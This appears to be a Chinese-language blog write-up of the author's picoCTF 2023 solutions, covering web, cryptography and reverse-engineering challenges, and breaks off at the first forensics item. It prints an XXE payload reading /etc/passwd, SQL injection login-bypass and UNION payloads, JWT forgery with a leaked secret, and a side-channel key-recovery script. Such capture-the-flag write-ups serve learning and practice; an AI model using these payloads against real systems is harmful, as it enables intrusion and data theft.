這次打picoCTF沒有升學壓力,相對2022也解了更多題(除了一些通靈題QAQ),這次賽中解出了36/45題,最後的名次是Global 200/6925、Undergraduate Student 59/2464,算是單刷picoCTF以來最好的成績,希望明年可以破台全類別:P(但看那個Web的解題人數,整個怕爆…),以下會整理我picoCTF 2023有解出的題目解法!。P.S.看完比賽結果我還是乖乖的去打Reverse好了.w.

Web Exploitation

今年的Web一共有7題,其中的5題算是相對基本的題目,但剩下兩題加起來解題人數不到10人.w.。題目敘述會依照我認為的難度來區分顏色~

findme

AUTHOR: GEOFFREY NJOGU

Description:
Help us test the form by submiting the username as test and password as test!
The website running here.
100 Points

這題算是最簡單的題目了,連進去網站之後會發現一個登入介面,用它給我們的帳號密碼登入看看:

會發現一個像是查詢介面的東西,但它下面說他被redirected了,可以聯想他是302 Redirection的題目,用F12觀察一下原始碼,登入時第一個呼叫的檔案是/login,因此我們用curl來登入看看還沒redirected之前的內容。

1
2
$ curl -d "username=test&&password=test!" http://saturn.picoctf.net:52452/login
Found. Redirecting to /next-page/id=cGljb0NURntwcm94aWVzX2Fs

發現他所指向的是/next-page/id=cGljb0NURntwcm94aWVzX2Fs這個頁面,那再繼續追到下一層:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ curl http://saturn.picoctf.net:52452/next-page/id=cGljb0NURntwcm94aWVz
X2Fs
<!DOCTYPE html>
<head>
<title>flag</title>
</head>
<body>
<script>
setTimeout(function () {
// after 2 seconds
window.location = "/next-page/id=bF90aGVfd2F5XzAxZTc0OGRifQ==";
}, 0.5)
</script>
<p></p>
</body>

他的下一層是/next-page/id=bF90aGVfd2F5XzAxZTc0OGRifQ==,而這兩段id很明顯是base64編碼,因此將它們拼接之後利用base64解碼即可獲得flag。

1
2
$ echo "cGljb0NURntwcm94aWVzX2FsbF90aGVfd2F5XzAxZTc0OGRifQ==" | base64 -d
picoCTF{proxies_all_the_way_01e748db}

MatchTheRegex

AUTHOR: SUNDAY JACOB NWANYIM

Description
How about trying to match a regular expression
The website is running here.
100 Points

這題進到網頁之後會看到一個像是flag checker的輸入區,亂打東西進去會alert('wrong match! Try again!');,看看原始碼寫了些什麼:

這一段很明顯是條件限制的要求,而^p.....F!?是Regex的限制條件,再看看題目,很明顯picoCTF符合條件,因此輸入picoCTF即可獲得完整flag。

SOAP

AUTHOR: GEOFFREY NJOGU

Description
The web project was rushed and no security assessment was done. Can you read the /etc/passwd file?
Web Portal
100 Points

這題是一個XXE的題目(Hint有寫),所以進去之後馬上找有沒有輸入的介面,可以發現他的detail前面其實都有個被hidden的input欄位,把hidden去掉之後就是一個輸入介面了。

接下來就是找XXE的植入點,很明顯Details會執行input欄位的東西,因此看看他的source code看看如何運作:

這是一個產出xml的過程,而input的內容則會被送進data中。但這裡的data會被送進HTML的<data>標籤裡面,XXE需要一個前置的標籤來設定XXE環境,因此將典型的XXE payload前置塞入xml的變數中,input欄位輸入&ent;即可讀取任意檔案,payload如下:

1
2
3
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/passwd"> ]>
<data>&ent;</data>

More SQLi

AUTHOR: MUBARAK MIKAIL

Description
Can you find the flag on this website.
Try to find the flag here.
200 Points

這題很明顯是SQL Injection的題目,連進去看看他是怎麼運作的。

進去就是一個SQL Injection的典型登入介面,先亂打看看他的表達式:

這是一個password在前面的表達式,那我們將password加上'OR 1=1--即可繞過條件成功登入。登入後可以看到以下介面:

看來是個第二層的SQL Injection,查表格,但它是個盲注,先用UNION攻擊試試看。

Payload:' UNION SELECT 1,2,3--

成功了,那麼就在裡面注入SQLite的SQL Injection攻擊指令吧!首先先查詢這個database有哪些表格,並且用LIMIT限制輸出的index:

Payload:' UNION SELECT (SELECT tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' LIMIT 3,1),2,3--

LIMIT前後尋找後可以發現一個叫做more_table的表格,再攻擊一次看看裡面有哪些欄位:

Payload:' UNION SELECT (SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='more_table'),2,3--

裡面有一個叫做flag的欄位,用SELECT去讀取它即可獲得flag。

Payload:' UNION SELECT (SELECT flag FROM more_table),2,3--

Java Code Analysis!?!

AUTHOR: NANDAN DESAI

Description
BookShelf Pico, my premium online book-reading service.
I believe that my website is super secure. I challenge you to prove me wrong by reading the ‘Flag’ book!
Here are the credentials to get you started:
Username: “user”
Password: “user”
Source code can be downloaded here.
Website can be accessed here!.
300 Points

這題又給了一個登入介面,用它給的帳號密碼登入看看。

裡面有一個叫做FLAG的pdf,很明顯flag應該在它裡面,但它需要Admin權限才能讀取,這時候回頭看看題目的Hint,應該是個關於JWT的題目,同時看看他給的source.zip,裡面也有JWT的相關JAVA設定,其中SecretGenerator.java裡面洩漏了JWT的secret key,表示我們可以直接攻破JWT Token來獲得Admin權限。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
package io.github.nandandesai.pico.security;

import io.github.nandandesai.pico.configs.UserDataPaths;
import io.github.nandandesai.pico.utils.FileOperation;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;

import java.io.IOException;
import java.nio.charset.Charset;

@Service
class SecretGenerator {
private Logger logger = LoggerFactory.getLogger(SecretGenerator.class);
private static final String SERVER_SECRET_FILENAME = "server_secret.txt";

@Autowired
private UserDataPaths userDataPaths;

private String generateRandomString(int len) {
// not so random
return "1234";
}

String getServerSecret() {
try {
String secret = new String(FileOperation.readFile(userDataPaths.getCurrentJarPath(), SERVER_SECRET_FILENAME), Charset.defaultCharset());
logger.info("Server secret successfully read from the filesystem. Using the same for this runtime.");
return secret;
}catch (IOException e){
logger.info(SERVER_SECRET_FILENAME+" file doesn't exists or something went wrong in reading that file. Generating a new secret for the server.");
String newSecret = generateRandomString(32);
try {
FileOperation.writeFile(userDataPaths.getCurrentJarPath(), SERVER_SECRET_FILENAME, newSecret.getBytes());
} catch (IOException ex) {
ex.printStackTrace();
}
logger.info("Newly generated secret is now written to the filesystem for persistence.");
return newSecret;
}
}
}

從Application中拿出現在的JWT token,丟入jwt.io看看。

更改我們所需要的資訊,並且輸入secret key以完成認證。

接著將jwt與payload送回網站,重整一次看看。

我們現在是Admin的角色了,但不知為何在讀取FLAG時還是失敗了,因此我轉向另一個方向,現在我們可以操控Admin Dashboard的內容,於是將user的Role也設定成Admin。

這時候重新登入user一次,便能讀取FLAG獲得flag了!

Cryptography

這次的Crypto是我解最少的一個類別,只解出了7題中的4題,看來密碼學實力還需要再精進><但這次的密碼學簡單部分的過度通靈,我覺得是所有類別中出得最差的一個…

HideToSee

AUTHOR: SUNDAY JACOB NWANYIM

Description
How about some hide and seek heh?
Look at this image here.
100 Points

這題給了一張圖片,看來是圖片隱寫術(但怎麼會放在這裡呢??這裡是密碼學欸= =),經過了各種嘗試我在這個線上工具裡面獲得了一些東西。它在這張圖片的輸出是krxlXGU{zgyzhs_xizxp_7142uwv9},而這張圖片本身像是一個對應表,因此經過對應,並且維持原本的大小寫後即可得到flag。

P.S.這題是我覺得今年出得最爛的一題= =

ReadMyCert

AUTHOR: SUNDAY JACOB NWANYIM

Description
How about we take you on an adventure on exploring certificate signing requests
Take a look at this CSR file here.
100 Points

這題給了一個簽證檔案,馬上看看裡面寫了什麼。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ cat readmycert.csr
-----BEGIN CERTIFICATE REQUEST-----
MIICpzCCAY8CAQAwPDEmMCQGA1UEAwwdcGljb0NURntyZWFkX215Y2VydF80MWQx
Yzc0Y30xEjAQBgNVBCkMCWN0ZlBsYXllcjCCASIwDQYJKoZIhvcNAQEBBQADggEP
ADCCAQoCggEBAOdcDj2/m1LxBrXb3ch9+2BtKd3b8NFn4USXA5JORPfeGcDdIX4V
SiRkFrbxLOit6SZwoAyWQ7SmWJTtzADbr82qTbVktGJj9YebwK57jpMEL6BPT9YA
cE9AGFtVJycL+IXqtlTqAGq4DjcPtAs5THgIPDJ+aTgRDHP8YItfEFs+aywLd8kS
WSmttEjS874Tc++b9PbQ246IIrtQ701/I1NB0S/inzQvPCui+hLSHgMFkGS4leN7
7xJORGAQueRejKuYnOs6HbAlbK0oIWKR83BxkntDBee8KhOPDynHDgYoblERl8rL
JAfcVogKNSniIztMkzh408V9mbLHOfsr6eUCAwEAAaAmMCQGCSqGSIb3DQEJDjEX
MBUwEwYDVR0lBAwwCgYIKwYBBQUHAwIwDQYJKoZIhvcNAQELBQADggEBAFEyhXpa
nZz/ofFW/31ryCF3nyvNg9pOyIniu8kcpiteSaOkNm4YREBCRwj92X3Wy1MUi/7Z
urXwR1TcRTxLdPqeVBn4nsJclAgZqMKcT0ftz5fAM/Xg5whwBHEBb1qFVN+HGhPo
1TKfhXunICyrjNWvM+2fudM2RPsGb0sBsjLAe1/6OJK82LJBoHQ0GlCPDN1tncrl
lpzHACCFPv7LMVF9BSkZDCQNglU1NYDDelXZezfXLbio/a1RC2k4rs+jorVmFese
elZFzORDsCzlgD87NvBUMZWI8J5+9fZeaWAQQfhwEiZOVn8IcjLUxUraxt4rbI/h
0EUJJuCjGyTjRpQ=
-----END CERTIFICATE REQUEST-----

這坨東西經過了base64編碼,把它解碼之後就能發現flag在裡面了。

rotation

AUTHOR: LOIC SHEMA

Description
You will find the flag after decrypting this file
Download the encrypted flag here.
100 Points

這題給了一個很像Caesar Cipher的文字檔,但事實上,它就是Caesar Cipher(._.),Brute Force之後即可獲得flag。

PowerAnalysis: Warmup

AUTHOR: ANISH SINGHANI

Description
This encryption algorithm leaks a “bit” of data every time it does a computation. Use this to figure out the encryption key.
Download the encryption program here encrypt.py. Access the running server with nc saturn.picoctf.net 53848.
The flag will be of the format picoCTF{<encryption key>} where <encryption key> is 32 lowercase hex characters comprising the 16-byte encryption key being used by the program.
200 Points

這題每次輸入不同的plaintext之後,就會獲得不同的數值,其意義是用來計算所有二進位中1的數量。但基於他的加密算法encrypt()過於簡單,如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#!/usr/bin/env python3
import random, sys, time

with open("key.txt", "r") as f:
SECRET_KEY = bytes.fromhex(f.read().strip())

Sbox = (
0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76,
0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0,
0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15,
0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75,
0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84,
0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF,
0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8,
0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2,
0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73,
0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB,
0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79,
0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08,
0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A,
0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E,
0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF,
0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16,
)

# Leaks one bit of information every operation
leak_buf = []
def leaky_aes_secret(data_byte, key_byte):
out = Sbox[data_byte ^ key_byte]
leak_buf.append(out & 0x01)
return out

# Simplified version of AES with only a single encryption stage
def encrypt(plaintext, key):
global leak_buf
leak_buf = []
ciphertext = [leaky_aes_secret(plaintext[i], key[i]) for i in range(16)]
return ciphertext

# Leak the number of 1 bits in the lowest bit of every SBox output
def encrypt_and_leak(plaintext):
ciphertext = encrypt(plaintext, SECRET_KEY)
ciphertext = None # throw away result
time.sleep(0.01)
return leak_buf.count(1)

pt = input("Please provide 16 bytes of plaintext encoded as hex: ")
if len(pt) != 32:
print("Invalid length")
sys.exit(0)

pt = bytes.fromhex(pt)
print("leakage result:", encrypt_and_leak(pt))

因此我們可以很容易地窮舉出在固定plaintext的順序之下,每一位key(共256種,0x00-0xff)所對應的bit leak陣列為何,這裡是將0x00-0xe做為每次改動的plaintext,其餘設為0的條件下,只要將最後得到的整個plaintext陣列減去其中最小值,即可獲得單位key的bit leak,此時再將結果與前面所得到的窮舉比對,便能得到最後的key了。exploit如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *

out=[]

sb=[0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76,
0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0,
0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15,
0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75,
0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84,
0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF,
0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8,
0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2,
0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73,
0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB,
0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79,
0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08,
0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A,
0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E,
0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF,
0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16]

for i in range(0xff):
m=[]
for j in range(15):
m.append(sb[j^i]&0x01)
out.append(m)

for i in out:
print(i)

flage=[]

for i in range(16):
n=[]
nn=[]
for j in range(15):
payload=''
payload+='0'*((15-i)*2+1)
payload+=hex(j)[2:]
payload+='0'*i*2
r=remote('saturn.picoctf.net',56284)
r.recvuntil(': ')
r.sendline(payload.encode())
g=int(r.recvline().strip()[16:])
n.append(g)
r.close()
for k in n:
nn.append(k-min(n))
print(nn)
for l in range(0xff):
if out[l] == nn:
flage.append(l)

flage.reverse()
print(flage)
print(''.join([hex(i)[2:] for i in flage]))

Reverse Engineering

CLEAR

這次的Reverse是我兩個破台類別中的其中一個,十分欣慰,因為我最常打的就是Reverse類別了.w.希望以後Reverse可以越打越好!(但其他類別也要加強QAQ)

Ready Gladiator 0

AUTHOR: LT ‘SYREAL’ JONES

Description
Can you make a CoreWars warrior that always loses, no ties?
Your opponent is the Imp. The source is available here. If you wanted to pit the Imp against himself, you could download the Imp and connect to the CoreWars server like this:
nc saturn.picoctf.net 64827 < imp.red
100 Points

這題題目上大喇喇地寫著CoreWar,首要條件當然就是先知道CoreWar是甚麼囉XD他其實是一個多程式攻擊比賽,多個程式會同時在電腦上運行,並想辦法將其他程式打爛,留下自己。但這裡的CoreWar比較簡單,只要符合他的條件即可。這一題說我們要想辦法讓其中一個warrior 100連敗,沒有平手。因為他原本給的imp.red會造成100次平手,可想而知我們應該要改正他的指令。其實要讓自己100連敗並不是甚麼困難事,只要在遊戲中亂mov就相對容易達到了。以下是原始的指令:

1
2
3
4
5
6
$ cat imp.red
;redcode
;name Imp Ex
;assert 1
mov 0, 1
end

如果我們mov其他的東西呢?試試以下指令:

1
2
3
4
5
6
$ cat imp.red
;redcode
;name Imp Ex
;assert 1
mov 0, 0
end

可想而知的,我們成功拿到了100連敗,得到flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ nc saturn.picoctf.net 61590 < imp.red
;redcode
;name Imp Ex
;assert 1
mov 0, 0
end
Submit your warrior: (enter 'end' when done)

Warrior1:
;redcode
;name Imp Ex
;assert 1
mov 0, 0
end

Rounds: 100
Warrior 1 wins: 0
Warrior 2 wins: 100
Ties: 0
You did it!
picoCTF{h3r0_t0_z3r0_4m1r1gh7_e1610ed2}

Reverse

AUTHOR: MUBARAK MIKAIL

Description
Try reversing this file? Can ya?
I forgot the password to this file. Please find it for me?
100 Points

這題是今年Reverse最簡單的題目,只要strings他就能在裡面找到flag了,但既然他是個password checker,我們還是逆向他一下吧。

很明顯的,下面的xor會確認輸入是否一致,而他的password就是v10-v14的字串拼接,也就是flag的一部份…那麼我們就來輸入密碼獲得flag吧(心虛)

1
2
3
4
5
$ ./ret
Enter the password to unlock this file: picoCTF{3lf_r3v3r5ing_succe55ful_2f0131a
You entered: picoCTF{3lf_r3v3r5ing_succe55ful_2f0131a
Password correct, please see flag: picoCTF{3lf_r3v3r5ing_succe55ful_2f0131a4}
picoCTF{3lf_r3v3r5ing_succe55ful_2f0131a

Safe Opener 2

AUTHOR: MUBARAK MIKAIL

Description
What can you do with this file?
I forgot the key to my safe but this file is supposed to help me with retrieving the lost key. Can you help me unlock my safe?
100 Points

其實我不知道為什麼這題是2,但既然他給了就打開看看吧,裡面有一個.class檔案,有看我前幾篇發的Reverse Engineering基礎就知道,java的.class是可以被輕易decompile的吧~所以我們就用線上工具來逆向他,得到的原始碼如下,flag就在裡面:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import java.io.IOException;
import java.util.Base64;
import java.io.Reader;
import java.io.BufferedReader;
import java.io.InputStreamReader;

//
// Decompiled by Procyon v0.5.36
//

public class SafeOpener
{
public static void main(final String[] args) throws IOException {
final BufferedReader keyboard = new BufferedReader(new InputStreamReader(System.in));
final Base64.Encoder encoder = Base64.getEncoder();
String encodedkey = "";
String key = "";
for (int i = 0; i < 3; ++i) {
System.out.print("Enter password for the safe: ");
key = keyboard.readLine();
encodedkey = encoder.encodeToString(key.getBytes());
System.out.println(encodedkey);
final boolean isOpen = openSafe(encodedkey);
if (isOpen) {
break;
}
System.out.println("You have " + (2 - i) + " attempt(s) left");
}
}

public static boolean openSafe(final String password) {
final String encodedkey = "picoCTF{SAf3_0p3n3rr_y0u_solv3d_it_3dae8463}";
if (password.equals(encodedkey)) {
System.out.println("Sesame open");
return true;
}
System.out.println("Password is incorrect\n");
return false;
}
}

timer

AUTHOR: LOIC SHEMA

Description
You will find the flag after analysing this apk
Download here.
100 Points

這題是個apk檔案的逆向,因為之前逆向過蠻多apk的題目了,所以就直接忽略他的Hint,顯然他的方法有點麻煩XD首先我先用apktool把apk裡面的東西輸出成資料夾:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ apktool d timer.apk
I: Using Apktool 2.5.0-dirty on timer.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /home/m3t30r/.local/share/apktool/framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Baksmaling classes3.dex...
I: Baksmaling classes2.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...

接著利用grep在資料夾裡爆搜pico就能夠找到flag了:P

1
2
$ grep -r "pico"
apktool.yml: versionName: picoCTF{t1m3r_r3v3rs3d_succ355fully_17496}

Virtual Machine 0

AUTHOR: LT ‘SYREAL’ JONES

Description
Can you crack this black box?
We grabbed this design doc from enemy servers: Download. We know that the rotation of the red axle is input and the rotation of the blue axle is output. The following input gives the flag as output: Download.
100 Points

這題其實是一個蠻詭異的題目,他給了一個.dae檔案,他是一個3D建模常見的輸出檔案,所以可以用Blender開(要不是平常有在亂玩Blender我根本不知道要怎麼開.w.)。打開之後會發現一個黑盒子:

而題目說紅色桿子是輸入,藍色桿子是輸出,那麼我們來看一下裡面的運作吧,把外面的黑盒子部分刪掉之後:

可以發現裡面是樂高齒輪的形狀,有碰過樂高的齒輪就可以很輕易的判斷出紅色的是40齒的齒輪,而藍色和灰色是8齒(或者是也可以慢慢數啦XD),因此紅色轉1圈時,藍色會轉5圈。這時代入他給我們的input,把他轉成byte形式就可以拿到flag了。

1
2
3
4
5
6
7
$ python3
Python 3.10.6 (main, Nov 14 2022, 16:10:14) [GCC 11.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from Crypto.Util.number import *
>>> inp=39722847074734820757600524178581224432297292490103996085769154356559546905
>>> long_to_bytes(inp*5)
b'picoCTF{g34r5_0f_m0r3_c133eae2}'

P.S.這題這麼少人解應該是因為不知道.dae到底是什麼XD

No way out

AUTHOR: KRIS

Description
Put this flag in standard picoCTF format before submitting. If the flag was h1_1m_7h3_f14g submit picoCTF{h1_1m_7h3_f14g} to the platform.
Windows game, Mac game
200 Points

P.S.今年的reverse都是我有在用的軟體,讚啦

這題是一個unity遊戲,進去之後會有一個第一人稱的Controller,可以亂爬,但是外面的牆擋住了,不讓使用者出去。從題目看起來應該是出去之後就可以拿到flag了,外面也有一個高高的flag在那邊,所以可想而知,要從patch下手。unity本身是一個利用C#控制的程式,所以可以利用dnSpy來逆向,開發者自己編寫的語言會儲存在Assembly-CSharp.dll裡面。用dnSpy打開他:

因為我們是被關住,所以直覺就是往First Person Controller被限制去想,翻一下Player Controller的code可以發現下面這個東西:

他的if條件式裡面出現了有關isGrounded的bool判斷,因此想法就是把他patch掉,這樣或許我們就可以不受unity遊戲中牆壁與跳躍的限制。利用dnSpy把if中的isGrounded通通patch掉之後,再次運行遊戲。

這個時候我們的跳躍限制就解除了,甚至可以飛(?)。然後就會發現飛到flag的頂端之後,flag就會跑出來了XD神奇的設計:)

Ready Gladiator 1

AUTHOR: LT ‘SYREAL’ JONES

Description
Can you make a CoreWars warrior that wins?
Your opponent is the Imp. The source is available here. If you wanted to pit the Imp against himself, you could download the Imp and connect to the CoreWars server like this:
nc saturn.picoctf.net 58681 < imp.red
To get the flag, you must beat the Imp at least once out of the many rounds.
200 Points

這題跟前面的類型是一樣的,差別只是在他要求我們至少要贏一次。可想而知又是從imp.red動手腳,而Hint裡面說我們可以在beginner docs裡面找到可用的warrior,所以我們就去這裡找找看,而在裡面發現了一個Dwarf的模型,馬上來試試看。以下是imp.red的內容:

1
2
3
4
5
6
7
8
9
$ cat imp.red
;redcode
;name Imp Ex
;assert 1
ADD #4, 3
MOV 2, @2
JMP -2
DAT #0, #4
end

執行後就可以拿到flag了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$ nc saturn.picoctf.net 58681 < imp.red
;redcode
;name Imp Ex
;assert 1
ADD #4, 3
MOV 2, @2
JMP -2
DAT #0, #4
end
Submit your warrior: (enter 'end' when done)

Warrior1:
;redcode
;name Imp Ex
;assert 1
ADD #4, 3
MOV 2, @2
JMP -2
DAT #0, #4
end

Rounds: 100
Warrior 1 wins: 26
Warrior 2 wins: 0
Ties: 74
You did it!
picoCTF{1mp_1n_7h3_cr055h41r5_441be1fc}

Virtual Machine 1

AUTHOR: LT ‘SYREAL’ JONES

Description
The enemy has upgraded their mechanical analog computer. Start an instance to begin.
We grabbed this design doc from enemy servers: Download. We know that the rotation of the red axle is input and the rotation of the blue axle is output. Reverse engineer the mechanism and get past their checker program:
nc saturn.picoctf.net 63883
300 Points

這一題是剛剛Virtual Machine 0的進階版,其實不難但是非常麻煩,我們一樣用blender打開他:

這次是個複雜到爆炸的齒輪,一樣紅色作為輸入,藍色作為輸出,但中間經過了三個階段的齒輪設計,除了一般齒輪之外中間還安插了一種特別的轉輪。

這個東西稱為差速器,是齒輪設計時為了避免轉速不一所設計的物件,當兩邊的輸入轉速不一樣時,這個差速器的輸出轉速將會是$\dfrac{1}{2}($左轉速+右轉速$)$,經由這個理論就能用數的將這個題目完成了,數完的結果會是$output=input\times7\times191\times7=input\times9359$,此時再連進nc輸入結果即可。

1
2
3
4
5
6
$ nc saturn.picoctf.net 63883
If the input to the machine is 4347, what is the output?
Answer> 40683573
40683573
That's correct!
picoCTF{m0r3_g34r5_3g4d_2efa1d52}

Ready Gladiator 2

AUTHOR: LT ‘SYREAL’ JONES

Description
Can you make a CoreWars warrior that wins every single round?
Your opponent is the Imp. The source is available here. If you wanted to pit the Imp against himself, you could download the Imp and connect to the CoreWars server like this:
nc saturn.picoctf.net 53774 < imp.red
To get the flag, you must beat the Imp all 100 rounds.
400 Points

這題是這個類別裡我最後解掉的題目,但也是讓我覺得最通靈的題目,這次的要求是要讓我們的warrior 100連勝,這從我們前面的write up看起來幾乎是不可能的事,網路上也沒有相關的文件說明這件事情,因此我決定從基本的指令下手,畢竟picoCTF不太可能讓我們寫一段冗長的redcode(吧)。看看以下這個說明:

再看看Hint說當warrior靠近時,再做一次會進行子程序,一開始我並不知道這個提示究竟想表達什麼.w.但後來對照一下,發現他跟JMP這個指令似乎有密切的關係,JMP代表著跳躍到另一個位置,那我們來試試看這樣是不是能閃躲另一個warrior的攻擊。

1
2
3
4
5
6
$ cat imp.red
;redcode
;name Imp Ex
;assert 1
jmp 0, 3
end

試了好幾種方法,似乎還是拿不到flag,但後來又在這裡發現了Addressing Modes的東西,亂試了一下,發現試了一輪還是不行。後來過了幾天異想天開,想說負數不知道可不可以,結果亂試了一下,就中了OAO打picoCTF果然需要一點通靈.w.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ nc saturn.picoctf.net 52306 < imp.red
;redcode
;name Imp Ex
;assert 1
jmp 0, <-3
end
Submit your warrior: (enter 'end' when done)

Warrior1:
;redcode
;name Imp Ex
;assert 1
jmp 0, <-3
end

Rounds: 100
Warrior 1 wins: 100
Warrior 2 wins: 0
Ties: 0
You did it!
picoCTF{d3m0n_3xpung3r_9a074a57}

Forensics

這個類別一直以來都是picoCTF中數一數二通靈的,今年也不例外。但其實題目素質有變好,不過我沒解出的兩題真的太通了,完全通不到= =只能說沒有靈異體質千萬不要打CTF(X

hideme

AUTHOR: GEOFFREY NJOGU

Description
Every file gets a flag.
